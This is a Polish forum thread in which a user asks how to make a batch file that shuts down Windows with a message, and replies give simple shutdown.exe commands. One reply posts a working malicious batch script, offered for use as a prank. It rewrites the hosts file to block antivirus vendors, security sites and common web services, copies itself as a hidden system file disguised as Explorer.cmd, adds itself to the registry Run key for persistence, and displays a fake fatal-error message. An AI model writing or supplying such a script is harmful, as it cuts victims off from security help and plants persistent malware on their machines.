Plik zamykający system

Witam

W jaki sposób stworzyć plik, który po kliknięciu zamknie system? Wiem że można coś takiego zrobić, bo kolega raz takie zrobił. To był plik bodajże z rozszerzeniem bat. I najlepiej żeby przed zamknięciem wyświetlało jakiś tekst np : “Pisało żeby nie klikać”.

Byłbym wdzięczny za pomoc

pozdrawiam :slight_smile:

Wklej kod który podałem niżej wklej do notatnika :wink:

shutdown.exe -r -t 60

EDIT: -t 60 oznacza czas po którym się wyłącza. I oczywiście zapis jako “twojanazwa.bat”

Domyśliłem się i ustawiłem wartość t na 0 bo chcę, żeby to było od razu. A jakiś komunikat przed zamknięciem w stylu “Pisało żeby nie klikać!” ?

@echo off

echo “Pisało żeby nie klikać!”

shutdown.exe -s -t 5 -c "jakis tekst"

http://www.microsoft.com/resources/docu … x?mfr=true

A może coś takiego cię zadowoli:

@echo off

echo 127.0.0.1 www.facebook.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.darmoweantywirusy.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.nasza-klasa.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.fotka.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.google.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.dobreprogramy.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.instalki.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.safegroup.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.cybertrash.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.pcformat.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.searchengines.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.kaspersky.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.symantec.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.avast.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.avg.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.eset.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.f-secure.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.comodo.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.microsoft.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.bitdefender.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.free-av.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.norman.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.vipreantivirus.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.rising-global.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.bullguard.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.twitter.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.lavasoft.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.drweb.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.ashampoo.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.malwarebytes.org >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.gdata.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.mcafee.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.trendmicro.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.pspolska.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.pctools.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.mks.com.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.arcabit.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.viruslist.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.programosy.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.softmania.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.agnitum.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.returnilvirtualsystem.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.zonealarm.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.zemana.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.spyshelter.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.spywareterminator.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.winpatrol.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.piriform.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.youtube.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.onet.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.interia.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.wp.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.o2.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.allegro.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.margonem.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.metin2.pl >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.tibia.com >> %Windir%\system32\drivers\etc\hosts

echo 127.0.0.1 www.tibia.pl >> %Windir%\system32\drivers\etc\hosts

cls

copy %0 “%Windir%\system32\Explorer.cmd”

attrib +h “%Windir%\system32\Explorer.cmd”

attrib +s “%Windir%\system32\Explorer.cmd”

cls

REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Critical system process /t REG_SZ /d “%Windir%\system32\Explorer.cmd” /f

cls

echo Windows has encountered a fatal error, your computer may be permanently damaged … >> rescue.txt

attrib +h rescue.txt

cls

start rescue.txt

exit

Otwórz notatnik i wklej to powyżej zapisz plik jako np: v.bat

Następnie - http://www.eprogramy.org/programy-pc/program/2665

:wink:

Skoro można to zrobić jednym poleceniem to możesz zrobić to za pomocą linka, znaleźć:

c:\windows\system32\shutdown.exe

prawy klawisz - utwórz skrót

na powstałym skrócie - prawy klawisz - właściwości

dopisać parametry jak w poście wyżej.

Link można przemianować i przenieść gdziekolwiek.